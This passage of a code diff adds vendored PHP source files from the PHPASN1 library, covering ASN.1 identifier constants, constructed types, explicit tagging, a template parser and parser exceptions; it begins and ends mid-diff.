* @param ObjectIdentifier|string $objIdentifier
|
||||
* @param \FG\ASN1\ASNObject $value
|
||||
*/
|
||||
public function __construct($objIdentifier, ASNObject $value)
|
||||
{
|
||||
if ($objIdentifier instanceof ObjectIdentifier == false) {
|
||||
$objIdentifier = new ObjectIdentifier($objIdentifier);
|
||||
}
|
||||
parent::__construct($objIdentifier, $value);
|
||||
}
|
||||
|
||||
public function __toString()
|
||||
{
|
||||
return $this->children[0].': '.$this->children[1];
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,37 @@
|
||||
<?php
|
||||
/*
|
||||
* This file is part of the PHPASN1 library.
|
||||
*
|
||||
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
|
||||
*
|
||||
* For the full copyright and license information, please view the LICENSE
|
||||
* file that was distributed with this source code.
|
||||
*/
|
||||
|
||||
namespace FG\ASN1\Composite;
|
||||
|
||||
use FG\ASN1\Universal\PrintableString;
|
||||
use FG\ASN1\Universal\IA5String;
|
||||
use FG\ASN1\Universal\UTF8String;
|
||||
|
||||
class RDNString extends RelativeDistinguishedName
|
||||
{
|
||||
/**
|
||||
* @param string|\FG\ASN1\Universal\ObjectIdentifier $objectIdentifierString
|
||||
* @param string|\FG\ASN1\ASNObject $value
|
||||
*/
|
||||
public function __construct($objectIdentifierString, $value)
|
||||
{
|
||||
if (PrintableString::isValid($value)) {
|
||||
$value = new PrintableString($value);
|
||||
} else {
|
||||
if (IA5String::isValid($value)) {
|
||||
$value = new IA5String($value);
|
||||
} else {
|
||||
$value = new UTF8String($value);
|
||||
}
|
||||
}
|
||||
|
||||
parent::__construct($objectIdentifierString, $value);
|
||||
}
|
||||
}
|
||||
+50
@@ -0,0 +1,50 @@
|
||||
<?php
|
||||
/*
|
||||
* This file is part of the PHPASN1 library.
|
||||
*
|
||||
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
|
||||
*
|
||||
* For the full copyright and license information, please view the LICENSE
|
||||
* file that was distributed with this source code.
|
||||
*/
|
||||
|
||||
namespace FG\ASN1\Composite;
|
||||
|
||||
use FG\ASN1\Exception\NotImplementedException;
|
||||
use FG\ASN1\ASNObject;
|
||||
use FG\ASN1\Universal\Set;
|
||||
|
||||
class RelativeDistinguishedName extends Set
|
||||
{
|
||||
/**
|
||||
* @param string|\FG\ASN1\Universal\ObjectIdentifier $objIdentifierString
|
||||
* @param \FG\ASN1\ASNObject $value
|
||||
*/
|
||||
public function __construct($objIdentifierString, ASNObject $value)
|
||||
{
|
||||
// TODO: This does only support one element in the RelativeDistinguishedName Set but it it is defined as follows:
|
||||
// RelativeDistinguishedName ::= SET SIZE (1..MAX) OF AttributeTypeAndValue
|
||||
parent::__construct(new AttributeTypeAndValue($objIdentifierString, $value));
|
||||
}
|
||||
|
||||
public function getContent()
|
||||
{
|
||||
/** @var \FG\ASN1\ASNObject $firstObject */
|
||||
$firstObject = $this->children[0];
|
||||
return $firstObject->__toString();
|
||||
}
|
||||
|
||||
/**
|
||||
* At the current version this code can not work since the implementation of Construct requires
|
||||
* the class to support a constructor without arguments.
|
||||
*
|
||||
* @deprecated this function is not yet implemented! Feel free to submit a pull request on github
|
||||
* @param string $binaryData
|
||||
* @param int $offsetIndex
|
||||
* @throws NotImplementedException
|
||||
*/
|
||||
public static function fromBinary(&$binaryData, &$offsetIndex = 0)
|
||||
{
|
||||
throw new NotImplementedException();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,202 @@
|
||||
<?php
|
||||
/*
|
||||
* This file is part of the PHPASN1 library.
|
||||
*
|
||||
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
|
||||
*
|
||||
* For the full copyright and license information, please view the LICENSE
|
||||
* file that was distributed with this source code.
|
||||
*/
|
||||
|
||||
namespace FG\ASN1;
|
||||
|
||||
use ArrayAccess;
|
||||
use ArrayIterator;
|
||||
use Countable;
|
||||
use FG\ASN1\Exception\ParserException;
|
||||
use Iterator;
|
||||
|
||||
abstract class Construct extends ASNObject implements Countable, ArrayAccess, Iterator, Parsable
|
||||
{
|
||||
/** @var \FG\ASN1\ASNObject[] */
|
||||
protected $children;
|
||||
private $iteratorPosition;
|
||||
|
||||
/**
|
||||
* @param \FG\ASN1\ASNObject[] $children the variadic type hint is commented due to https://github.com/facebook/hhvm/issues/4858
|
||||
*/
|
||||
public function __construct(/* HH_FIXME[4858]: variadic + strict */ ...$children)
|
||||
{
|
||||
$this->children = $children;
|
||||
$this->iteratorPosition = 0;
|
||||
}
|
||||
|
||||
public function getContent()
|
||||
{
|
||||
return $this->children;
|
||||
}
|
||||
|
||||
#[\ReturnTypeWillChange]
|
||||
public function rewind()
|
||||
{
|
||||
$this->iteratorPosition = 0;
|
||||
}
|
||||
|
||||
#[\ReturnTypeWillChange]
|
||||
public function current()
|
||||
{
|
||||
return $this->children[$this->iteratorPosition];
|
||||
}
|
||||
|
||||
#[\ReturnTypeWillChange]
|
||||
public function key()
|
||||
{
|
||||
return $this->iteratorPosition;
|
||||
}
|
||||
|
||||
#[\ReturnTypeWillChange]
|
||||
public function next()
|
||||
{
|
||||
$this->iteratorPosition++;
|
||||
}
|
||||
|
||||
#[\ReturnTypeWillChange]
|
||||
public function valid()
|
||||
{
|
||||
return isset($this->children[$this->iteratorPosition]);
|
||||
}
|
||||
|
||||
#[\ReturnTypeWillChange]
|
||||
public function offsetExists($offset)
|
||||
{
|
||||
return array_key_exists($offset, $this->children);
|
||||
}
|
||||
|
||||
#[\ReturnTypeWillChange]
|
||||
public function offsetGet($offset)
|
||||
{
|
||||
return $this->children[$offset];
|
||||
}
|
||||
|
||||
#[\ReturnTypeWillChange]
|
||||
public function offsetSet($offset, $value)
|
||||
{
|
||||
if ($offset === null) {
|
||||
$offset = count($this->children);
|
||||
}
|
||||
|
||||
$this->children[$offset] = $value;
|
||||
}
|
||||
|
||||
#[\ReturnTypeWillChange]
|
||||
public function offsetUnset($offset)
|
||||
{
|
||||
unset($this->children[$offset]);
|
||||
}
|
||||
|
||||
protected function calculateContentLength()
|
||||
{
|
||||
$length = 0;
|
||||
foreach ($this->children as $component) {
|
||||
$length += $component->getObjectLength();
|
||||
}
|
||||
|
||||
return $length;
|
||||
}
|
||||
|
||||
protected function getEncodedValue()
|
||||
{
|
||||
$result = '';
|
||||
foreach ($this->children as $component) {
|
||||
$result .= $component->getBinary();
|
||||
}
|
||||
|
||||
return $result;
|
||||
}
|
||||
|
||||
public function addChild(ASNObject $child)
|
||||
{
|
||||
$this->children[] = $child;
|
||||
}
|
||||
|
||||
public function addChildren(array $children)
|
||||
{
|
||||
foreach ($children as $child) {
|
||||
$this->addChild($child);
|
||||
}
|
||||
}
|
||||
|
||||
public function __toString()
|
||||
{
|
||||
$nrOfChildren = $this->getNumberOfChildren();
|
||||
$childString = $nrOfChildren == 1 ? 'child' : 'children';
|
||||
|
||||
return "[{$nrOfChildren} {$childString}]";
|
||||
}
|
||||
|
||||
public function getNumberOfChildren()
|
||||
{
|
||||
return count($this->children);
|
||||
}
|
||||
|
||||
/**
|
||||
* @return \FG\ASN1\ASNObject[]
|
||||
*/
|
||||
public function getChildren()
|
||||
{
|
||||
return $this->children;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return \FG\ASN1\ASNObject
|
||||
*/
|
||||
public function getFirstChild()
|
||||
{
|
||||
return $this->children[0];
|
||||
}
|
||||
|
||||
/**
|
||||
* @param string $binaryData
|
||||
* @param int $offsetIndex
|
||||
*
|
||||
* @throws Exception\ParserException
|
||||
*
|
||||
* @return Construct|static
|
||||
*/
|
||||
#[\ReturnTypeWillChange]
|
||||
public static function fromBinary(&$binaryData, &$offsetIndex = 0)
|
||||
{
|
||||
$parsedObject = new static();
|
||||
self::parseIdentifier($binaryData[$offsetIndex], $parsedObject->getType(), $offsetIndex++);
|
||||
$contentLength = self::parseContentLength($binaryData, $offsetIndex);
|
||||
$startIndex = $offsetIndex;
|
||||
|
||||
$children = [];
|
||||
$octetsToRead = $contentLength;
|
||||
while ($octetsToRead > 0) {
|
||||
$newChild = ASNObject::fromBinary($binaryData, $offsetIndex);
|
||||
$octetsToRead -= $newChild->getObjectLength();
|
||||
$children[] = $newChild;
|
||||
}
|
||||
|
||||
if ($octetsToRead !== 0) {
|
||||
throw new ParserException("Sequence length incorrect", $startIndex);
|
||||
}
|
||||
|
||||
$parsedObject->addChildren($children);
|
||||
$parsedObject->setContentLength($contentLength);
|
||||
|
||||
return $parsedObject;
|
||||
}
|
||||
|
||||
#[\ReturnTypeWillChange]
|
||||
public function count($mode = COUNT_NORMAL)
|
||||
{
|
||||
return count($this->children, $mode);
|
||||
}
|
||||
|
||||
public function getIterator()
|
||||
{
|
||||
return new ArrayIterator($this->children);
|
||||
}
|
||||
}
|
||||
+15
@@ -0,0 +1,15 @@
|
||||
<?php
|
||||
/*
|
||||
* This file is part of the PHPASN1 library.
|
||||
*
|
||||
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
|
||||
*
|
||||
* For the full copyright and license information, please view the LICENSE
|
||||
* file that was distributed with this source code.
|
||||
*/
|
||||
|
||||
namespace FG\ASN1\Exception;
|
||||
|
||||
class NotImplementedException extends \Exception
|
||||
{
|
||||
}
|
||||
@@ -0,0 +1,29 @@
|
||||
<?php
|
||||
/*
|
||||
* This file is part of the PHPASN1 library.
|
||||
*
|
||||
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
|
||||
*
|
||||
* For the full copyright and license information, please view the LICENSE
|
||||
* file that was distributed with this source code.
|
||||
*/
|
||||
|
||||
namespace FG\ASN1\Exception;
|
||||
|
||||
class ParserException extends \Exception
|
||||
{
|
||||
private $errorMessage;
|
||||
private $offset;
|
||||
|
||||
public function __construct($errorMessage, $offset)
|
||||
{
|
||||
$this->errorMessage = $errorMessage;
|
||||
$this->offset = $offset;
|
||||
parent::__construct("ASN.1 Parser Exception at offset {$this->offset}: {$this->errorMessage}");
|
||||
}
|
||||
|
||||
public function getOffset()
|
||||
{
|
||||
return $this->offset;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,131 @@
|
||||
<?php
|
||||
/*
|
||||
* This file is part of the PHPASN1 library.
|
||||
*
|
||||
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
|
||||
*
|
||||
* For the full copyright and license information, please view the LICENSE
|
||||
* file that was distributed with this source code.
|
||||
*/
|
||||
|
||||
namespace FG\ASN1;
|
||||
|
||||
use FG\ASN1\Exception\ParserException;
|
||||
|
||||
/**
|
||||
* Class ExplicitlyTaggedObject decorate an inner object with an additional tag that gives information about
|
||||
* its context specific meaning.
|
||||
*
|
||||
* Explanation taken from A Layman's Guide to a Subset of ASN.1, BER, and DER:
|
||||
* >>> An RSA Laboratories Technical Note
|
||||
* >>> Burton S. Kaliski Jr.
|
||||
* >>> Revised November 1, 1993
|
||||
*
|
||||
* [...]
|
||||
* Explicitly tagged types are derived from other types by adding an outer tag to the underlying type.
|
||||
* In effect, explicitly tagged types are structured types consisting of one component, the underlying type.
|
||||
* Explicit tagging is denoted by the ASN.1 keywords [class number] EXPLICIT (see Section 5.2).
|
||||
* [...]
|
||||
*
|
||||
* @see http://luca.ntop.org/Teaching/Appunti/asn1.html
|
||||
*/
|
||||
class ExplicitlyTaggedObject extends ASNObject
|
||||
{
|
||||
/** @var \FG\ASN1\ASNObject[] */
|
||||
private $decoratedObjects;
|
||||
private $tag;
|
||||
|
||||
/**
|
||||
* @param int $tag
|
||||
* @param \FG\ASN1\ASNObject $objects,...
|
||||
*/
|
||||
public function __construct($tag, /* HH_FIXME[4858]: variadic + strict */ ...$objects)
|
||||
{
|
||||
$this->tag = $tag;
|
||||
$this->decoratedObjects = $objects;
|
||||
}
|
||||
|
||||
protected function calculateContentLength()
|
||||
{
|
||||
$length = 0;
|
||||
foreach ($this->decoratedObjects as $object) {
|
||||
$length += $object->getObjectLength();
|
||||
}
|
||||
|
||||
return $length;
|
||||
}
|
||||
|
||||
protected function getEncodedValue()
|
||||
{
|
||||
$encoded = '';
|
||||
foreach ($this->decoratedObjects as $object) {
|
||||
$encoded .= $object->getBinary();
|
||||
}
|
||||
|
||||
return $encoded;
|
||||
}
|
||||
|
||||
public function getContent()
|
||||
{
|
||||
return $this->decoratedObjects;
|
||||
}
|
||||
|
||||
public function __toString()
|
||||
{
|
||||
switch ($length = count($this->decoratedObjects)) {
|
||||
case 0:
|
||||
return "Context specific empty object with tag [{$this->tag}]";
|
||||
case 1:
|
||||
$decoratedType = Identifier::getShortName($this->decoratedObjects[0]->getType());
|
||||
return "Context specific $decoratedType with tag [{$this->tag}]";
|
||||
default:
|
||||
return "$length context specific objects with tag [{$this->tag}]";
|
||||
}
|
||||
}
|
||||
|
||||
public function getType()
|
||||
{
|
||||
return ord($this->getIdentifier());
|
||||
}
|
||||
|
||||
public function getIdentifier()
|
||||
{
|
||||
$identifier = Identifier::create(Identifier::CLASS_CONTEXT_SPECIFIC, true, $this->tag);
|
||||
|
||||
return is_int($identifier) ? chr($identifier) : $identifier;
|
||||
}
|
||||
|
||||
public function getTag()
|
||||
{
|
||||
return $this->tag;
|
||||
}
|
||||
|
||||
public static function fromBinary(&$binaryData, &$offsetIndex = 0)
|
||||
{
|
||||
$identifier = self::parseBinaryIdentifier($binaryData, $offsetIndex);
|
||||
$firstIdentifierOctet = ord($identifier);
|
||||
assert(Identifier::isContextSpecificClass($firstIdentifierOctet), 'identifier octet should indicate context specific class');
|
||||
assert(Identifier::isConstructed($firstIdentifierOctet), 'identifier octet should indicate constructed object');
|
||||
$tag = Identifier::getTagNumber($identifier);
|
||||
|
||||
$totalContentLength = self::parseContentLength($binaryData, $offsetIndex);
|
||||
$remainingContentLength = $totalContentLength;
|
||||
|
||||
$offsetIndexOfDecoratedObject = $offsetIndex;
|
||||
$decoratedObjects = [];
|
||||
|
||||
while ($remainingContentLength > 0) {
|
||||
$nextObject = ASNObject::fromBinary($binaryData, $offsetIndex);
|
||||
$remainingContentLength -= $nextObject->getObjectLength();
|
||||
$decoratedObjects[] = $nextObject;
|
||||
}
|
||||
|
||||
if ($remainingContentLength != 0) {
|
||||
throw new ParserException("Context-Specific explicitly tagged object [$tag] starting at offset $offsetIndexOfDecoratedObject specifies a length of $totalContentLength octets but $remainingContentLength remain after parsing the content", $offsetIndexOfDecoratedObject);
|
||||
}
|
||||
|
||||
$parsedObject = new self($tag, ...$decoratedObjects);
|
||||
$parsedObject->setContentLength($totalContentLength);
|
||||
return $parsedObject;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,339 @@
|
||||
<?php
|
||||
/*
|
||||
* This file is part of the PHPASN1 library.
|
||||
*
|
||||
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
|
||||
*
|
||||
* For the full copyright and license information, please view the LICENSE
|
||||
* file that was distributed with this source code.
|
||||
*/
|
||||
|
||||
namespace FG\ASN1;
|
||||
|
||||
use Exception;
|
||||
|
||||
/**
|
||||
* The Identifier encodes the ASN.1 tag (class and number) of the type of a data value.
|
||||
*
|
||||
* Every identifier whose number is in the range 0 to 30 has the following structure:
|
||||
*
|
||||
* Bits: 8 7 6 5 4 3 2 1
|
||||
* | Class | P/C | Tag number |
|
||||
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
*
|
||||
* Bits 8 and 7 define the class of this type ( Universal, Application, Context-specific or Private).
|
||||
* Bit 6 encoded whether this type is primitive or constructed
|
||||
* The remaining bits 5 - 1 encode the tag number
|
||||
*/
|
||||
class Identifier
|
||||
{
|
||||
const CLASS_UNIVERSAL = 0x00;
|
||||
const CLASS_APPLICATION = 0x01;
|
||||
const CLASS_CONTEXT_SPECIFIC = 0x02;
|
||||
const CLASS_PRIVATE = 0x03;
|
||||
|
||||
const EOC = 0x00; // unsupported for now
|
||||
const BOOLEAN = 0x01;
|
||||
const INTEGER = 0x02;
|
||||
const BITSTRING = 0x03;
|
||||
const OCTETSTRING = 0x04;
|
||||
const NULL = 0x05;
|
||||
const OBJECT_IDENTIFIER = 0x06;
|
||||
const OBJECT_DESCRIPTOR = 0x07;
|
||||
const EXTERNAL = 0x08; // unsupported for now
|
||||
const REAL = 0x09; // unsupported for now
|
||||
const ENUMERATED = 0x0A;
|
||||
const EMBEDDED_PDV = 0x0B; // unsupported for now
|
||||
const UTF8_STRING = 0x0C;
|
||||
const RELATIVE_OID = 0x0D;
|
||||
// value 0x0E and 0x0F are reserved for future use
|
||||
|
||||
const SEQUENCE = 0x30;
|
||||
const SET = 0x31;
|
||||
const NUMERIC_STRING = 0x12;
|
||||
const PRINTABLE_STRING = 0x13;
|
||||
const T61_STRING = 0x14; // sometimes referred to as TeletextString
|
||||
const VIDEOTEXT_STRING = 0x15;
|
||||
const IA5_STRING = 0x16;
|
||||
const UTC_TIME = 0x17;
|
||||
const GENERALIZED_TIME = 0x18;
|
||||
const GRAPHIC_STRING = 0x19;
|
||||
const VISIBLE_STRING = 0x1A;
|
||||
const GENERAL_STRING = 0x1B;
|
||||
const UNIVERSAL_STRING = 0x1C;
|
||||
const CHARACTER_STRING = 0x1D; // Unrestricted character type
|
||||
const BMP_STRING = 0x1E;
|
||||
|
||||
const LONG_FORM = 0x1F;
|
||||
const IS_CONSTRUCTED = 0x20;
|
||||
|
||||
/**
|
||||
* Creates an identifier. Short form identifiers are returned as integers
|
||||
* for BC, long form identifiers will be returned as a string of octets.
|
||||
*
|
||||
* @param int $class
|
||||
* @param bool $isConstructed
|
||||
* @param int $tagNumber
|
||||
*
|
||||
* @throws Exception if the given arguments are invalid
|
||||
*
|
||||
* @return int|string
|
||||
*/
|
||||
public static function create($class, $isConstructed, $tagNumber)
|
||||
{
|
||||
if (!is_numeric($class) || $class < self::CLASS_UNIVERSAL || $class > self::CLASS_PRIVATE) {
|
||||
throw new Exception(sprintf('Invalid class %d given', $class));
|
||||
}
|
||||
|
||||
if (!is_bool($isConstructed)) {
|
||||
throw new Exception("\$isConstructed must be a boolean value ($isConstructed given)");
|
||||
}
|
||||
|
||||
$tagNumber = self::makeNumeric($tagNumber);
|
||||
if ($tagNumber < 0) {
|
||||
throw new Exception(sprintf('Invalid $tagNumber %d given. You can only use positive integers.', $tagNumber));
|
||||
}
|
||||
|
||||
if ($tagNumber < self::LONG_FORM) {
|
||||
return ($class << 6) | ($isConstructed << 5) | $tagNumber;
|
||||
}
|
||||
|
||||
$firstOctet = ($class << 6) | ($isConstructed << 5) | self::LONG_FORM;
|
||||
|
||||
// Tag numbers formatted in long form are base-128 encoded. See X.609#8.1.2.4
|
||||
return chr($firstOctet).Base128::encode($tagNumber);
|
||||
}
|
||||
|
||||
public static function isConstructed($identifierOctet)
|
||||
{
|
||||
return ($identifierOctet & self::IS_CONSTRUCTED) === self::IS_CONSTRUCTED;
|
||||
}
|
||||
|
||||
public static function isLongForm($identifierOctet)
|
||||
{
|
||||
return ($identifierOctet & self::LONG_FORM) === self::LONG_FORM;
|
||||
}
|
||||
|
||||
/**
|
||||
* Return the name of the mapped ASN.1 type with a preceding "ASN.1 ".
|
||||
*
|
||||
* Example: ASN.1 Octet String
|
||||
*
|
||||
* @see Identifier::getShortName()
|
||||
*
|
||||
* @param int|string $identifier
|
||||
*
|
||||
* @return string
|
||||
*/
|
||||
public static function getName($identifier)
|
||||
{
|
||||
$identifierOctet = self::makeNumeric($identifier);
|
||||
|
||||
$typeName = static::getShortName($identifier);
|
||||
|
||||
if (($identifierOctet & self::LONG_FORM) < self::LONG_FORM) {
|
||||
$typeName = "ASN.1 {$typeName}";
|
||||
}
|
||||
|
||||
return $typeName;
|
||||
}
|
||||
|
||||
/**
|
||||
* Return the short version of the type name.
|
||||
*
|
||||
* If the given identifier octet can be mapped to a known universal type this will
|
||||
* return its name. Else Identifier::getClassDescription() is used to retrieve
|
||||
* information about the identifier.
|
||||
*
|
||||
* @see Identifier::getName()
|
||||
* @see Identifier::getClassDescription()
|
||||
*
|
||||
* @param int|string $identifier
|
||||
*
|
||||
* @return string
|
||||
*/
|
||||
public static function getShortName($identifier)
|
||||
{
|
||||
$identifierOctet = self::makeNumeric($identifier);
|
||||
|
||||
switch ($identifierOctet) {
|
||||
case self::EOC:
|
||||
return 'End-of-contents octet';
|
||||
case self::BOOLEAN:
|
||||
return 'Boolean';
|
||||
case self::INTEGER:
|
||||
return 'Integer';
|
||||
case self::BITSTRING:
|
||||
return 'Bit String';
|
||||
case self::OCTETSTRING:
|
||||
return 'Octet String';
|
||||
case self::NULL:
|
||||
return 'NULL';
|
||||
case self::OBJECT_IDENTIFIER:
|
||||
return 'Object Identifier';
|
||||
case self::OBJECT_DESCRIPTOR:
|
||||
return 'Object Descriptor';
|
||||
case self::EXTERNAL:
|
||||
return 'External Type';
|
||||
case self::REAL:
|
||||
return 'Real';
|
||||
case self::ENUMERATED:
|
||||
return 'Enumerated';
|
||||
case self::EMBEDDED_PDV:
|
||||
return 'Embedded PDV';
|
||||
case self::UTF8_STRING:
|
||||
return 'UTF8 String';
|
||||
case self::RELATIVE_OID:
|
||||
return 'Relative OID';
|
||||
case self::SEQUENCE:
|
||||
return 'Sequence';
|
||||
case self::SET:
|
||||
return 'Set';
|
||||
case self::NUMERIC_STRING:
|
||||
return 'Numeric String';
|
||||
case self::PRINTABLE_STRING:
|
||||
return 'Printable String';
|
||||
case self::T61_STRING:
|
||||
return 'T61 String';
|
||||
case self::VIDEOTEXT_STRING:
|
||||
return 'Videotext String';
|
||||
case self::IA5_STRING:
|
||||
return 'IA5 String';
|
||||
case self::UTC_TIME:
|
||||
return 'UTC Time';
|
||||
case self::GENERALIZED_TIME:
|
||||
return 'Generalized Time';
|
||||
case self::GRAPHIC_STRING:
|
||||
return 'Graphic String';
|
||||
case self::VISIBLE_STRING:
|
||||
return 'Visible String';
|
||||
case self::GENERAL_STRING:
|
||||
return 'General String';
|
||||
case self::UNIVERSAL_STRING:
|
||||
return 'Universal String';
|
||||
case self::CHARACTER_STRING:
|
||||
return 'Character String';
|
||||
case self::BMP_STRING:
|
||||
return 'BMP String';
|
||||
|
||||
case 0x0E:
|
||||
return 'RESERVED (0x0E)';
|
||||
case 0x0F:
|
||||
return 'RESERVED (0x0F)';
|
||||
|
||||
case self::LONG_FORM:
|
||||
default:
|
||||
$classDescription = self::getClassDescription($identifier);
|
||||
|
||||
if (is_int($identifier)) {
|
||||
$identifier = chr($identifier);
|
||||
}
|
||||
|
||||
return "$classDescription (0x".strtoupper(bin2hex($identifier)).')';
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Returns a textual description of the information encoded in a given identifier octet.
|
||||
*
|
||||
* The first three (most significant) bytes are evaluated to determine if this is a
|
||||
* constructed or primitive type and if it is either universal, application, context-specific or
|
||||
* private.
|
||||
*
|
||||
* Example:
|
||||
* Constructed context-specific
|
||||
* Primitive universal
|
||||
*
|
||||
* @param int|string $identifier
|
||||
*
|
||||
* @return string
|
||||
*/
|
||||
public static function getClassDescription($identifier)
|
||||
{
|
||||
$identifierOctet = self::makeNumeric($identifier);
|
||||
|
||||
if (self::isConstructed($identifierOctet)) {
|
||||
$classDescription = 'Constructed ';
|
||||
} else {
|
||||
$classDescription = 'Primitive ';
|
||||
}
|
||||
$classBits = $identifierOctet >> 6;
|
||||
switch ($classBits) {
|
||||
case self::CLASS_UNIVERSAL:
|
||||
$classDescription .= 'universal';
|
||||
break;
|
||||
case self::CLASS_APPLICATION:
|
||||
$classDescription .= 'application';
|
||||
break;
|
||||
case self::CLASS_CONTEXT_SPECIFIC:
|
||||
$tagNumber = self::getTagNumber($identifier);
|
||||
$classDescription = "[$tagNumber] Context-specific";
|
||||
break;
|
||||
case self::CLASS_PRIVATE:
|
||||
$classDescription .= 'private';
|
||||
break;
|
||||
|
||||
default:
|
||||
return "INVALID IDENTIFIER OCTET: {$identifierOctet}";
|
||||
}
|
||||
|
||||
return $classDescription;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param int|string $identifier
|
||||
*
|
||||
* @return int
|
||||
*/
|
||||
public static function getTagNumber($identifier)
|
||||
{
|
||||
$firstOctet = self::makeNumeric($identifier);
|
||||
$tagNumber = $firstOctet & self::LONG_FORM;
|
||||
|
||||
if ($tagNumber < self::LONG_FORM) {
|
||||
return $tagNumber;
|
||||
}
|
||||
|
||||
if (is_numeric($identifier)) {
|
||||
$identifier = chr($identifier);
|
||||
}
|
||||
return Base128::decode(substr($identifier, 1));
|
||||
}
|
||||
|
||||
public static function isUniversalClass($identifier)
|
||||
{
|
||||
$identifier = self::makeNumeric($identifier);
|
||||
|
||||
return $identifier >> 6 == self::CLASS_UNIVERSAL;
|
||||
}
|
||||
|
||||
public static function isApplicationClass($identifier)
|
||||
{
|
||||
$identifier = self::makeNumeric($identifier);
|
||||
|
||||
return $identifier >> 6 == self::CLASS_APPLICATION;
|
||||
}
|
||||
|
||||
public static function isContextSpecificClass($identifier)
|
||||
{
|
||||
$identifier = self::makeNumeric($identifier);
|
||||
|
||||
return $identifier >> 6 == self::CLASS_CONTEXT_SPECIFIC;
|
||||
}
|
||||
|
||||
public static function isPrivateClass($identifier)
|
||||
{
|
||||
$identifier = self::makeNumeric($identifier);
|
||||
|
||||
return $identifier >> 6 == self::CLASS_PRIVATE;
|
||||
}
|
||||
|
||||
private static function makeNumeric($identifierOctet)
|
||||
{
|
||||
if (!is_numeric($identifierOctet)) {
|
||||
return ord($identifierOctet);
|
||||
} else {
|
||||
return $identifierOctet;
|
||||
}
|
||||
}
|
||||
}
|
||||
+1023
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,32 @@
|
||||
<?php
|
||||
/*
|
||||
* This file is part of the PHPASN1 library.
|
||||
*
|
||||
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
|
||||
*
|
||||
* For the full copyright and license information, please view the LICENSE
|
||||
* file that was distributed with this source code.
|
||||
*/
|
||||
|
||||
namespace FG\ASN1;
|
||||
|
||||
use FG\ASN1\Exception\ParserException;
|
||||
|
||||
/**
|
||||
* The Parsable interface describes classes that can be parsed from their binary DER representation.
|
||||
*/
|
||||
interface Parsable
|
||||
{
|
||||
/**
|
||||
* Parse an instance of this class from its binary DER encoded representation.
|
||||
*
|
||||
* @param string $binaryData
|
||||
* @param int $offsetIndex the offset at which parsing of the $binaryData is started. This parameter ill be modified
|
||||
* to contain the offset index of the next object after this object has been parsed
|
||||
*
|
||||
* @throws ParserException if the given binary data is either invalid or not currently supported
|
||||
*
|
||||
* @return static
|
||||
*/
|
||||
public static function fromBinary(&$binaryData, &$offsetIndex = null);
|
||||
}
|
||||
@@ -0,0 +1,70 @@
|
||||
<?php
|
||||
/*
|
||||
* This file is part of the PHPASN1 library.
|
||||
*
|
||||
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
|
||||
*
|
||||
* For the full copyright and license information, please view the LICENSE
|
||||
* file that was distributed with this source code.
|
||||
*/
|
||||
|
||||
namespace FG\ASN1;
|
||||
|
||||
use Exception;
|
||||
use FG\ASN1\Exception\ParserException;
|
||||
use FG\ASN1\Universal\Sequence;
|
||||
|
||||
class TemplateParser
|
||||
{
|
||||
/**
|
||||
* @param string $data
|
||||
* @param array $template
|
||||
* @return \FG\ASN1\ASNObject|Sequence
|
||||
* @throws ParserException if there was an issue parsing
|
||||
*/
|
||||
public function parseBase64($data, array $template)
|
||||
{
|
||||
// TODO test with invalid data
|
||||
return $this->parseBinary(base64_decode($data), $template);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param string $binary
|
||||
* @param array $template
|
||||
* @return \FG\ASN1\ASNObject|Sequence
|
||||
* @throws ParserException if there was an issue parsing
|
||||
*/
|
||||
public function parseBinary($binary, array $template)
|
||||
{
|
||||
$parsedObject = ASNObject::fromBinary($binary);
|
||||
|
||||
foreach ($template as $key => $value) {
|
||||
$this->validate($parsedObject, $key, $value);
|
||||
}
|
||||
|
||||
return $parsedObject;
|
||||
}
|
||||
|
||||
private function validate(ASNObject $object, $key, $value)
|
||||
{
|
||||
if (is_array($value)) {
|
||||
$this->assertTypeId($key, $object);
|
||||
|
||||
/* @var Construct $object */
|
||||
foreach ($value as $key => $child) {
|
||||
$this->validate($object->current(), $key, $child);
|
||||
$object->next();
|
||||
}
|
||||
} else {
|
||||
$this->assertTypeId($value, $object);
|
||||
}
|
||||
}
|
||||
|
||||
private function assertTypeId($expectedTypeId, ASNObject $object)
|
||||
{
|
||||
$actualType = $object->getType();
|
||||
if ($expectedTypeId != $actualType) {
|
||||
throw new Exception("Expected type ($expectedTypeId) does not match actual type ($actualType");
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
<?php
|
||||
/*
|
||||
* This file is part of the PHPASN1 library.
|
||||
*
|
||||
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
|
||||
*
|
||||
* For the full copyright and license information, please view the LICENSE
|
||||
* file that was distributed with this source code.
|
||||
*/
|
||||
|
||||
namespace FG\ASN1\Universal;
|
||||
|
||||
use FG\ASN1\AbstractString;
|
||||
use FG\ASN1\Identifier;
|
||||
|
||||
class BMPString extends AbstractString
|
||||
{
|
||||
/**
|
||||
* Creates a new ASN.1 BMP String.
|
||||
*
|
||||
* BMPString is a subtype of UniversalString that has its own
|
||||
* unique tag and contains only the characters in the
|
||||
* Basic Multilingual Plane (those corresponding to the first
|
||||
* 64K-2 cells, less cells whose encoding is used to address
|
||||
* characters outside the Basic Multilingual Plane) of ISO/IEC 10646-1.
|
||||
*
|
||||
* TODO The encodable characters of this type are not yet checked.
|
||||
*
|
||||
* @param string $string
|
||||
*/
|
||||
public function __construct($string)
|
||||
{
|
||||
$this->value = $string;
|
||||
$this->allowAll();
|
||||
}
|
||||
|
||||
public function getType()
|
||||
{
|
||||
return Identifier::BMP_STRING;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,88 @@
|
||||
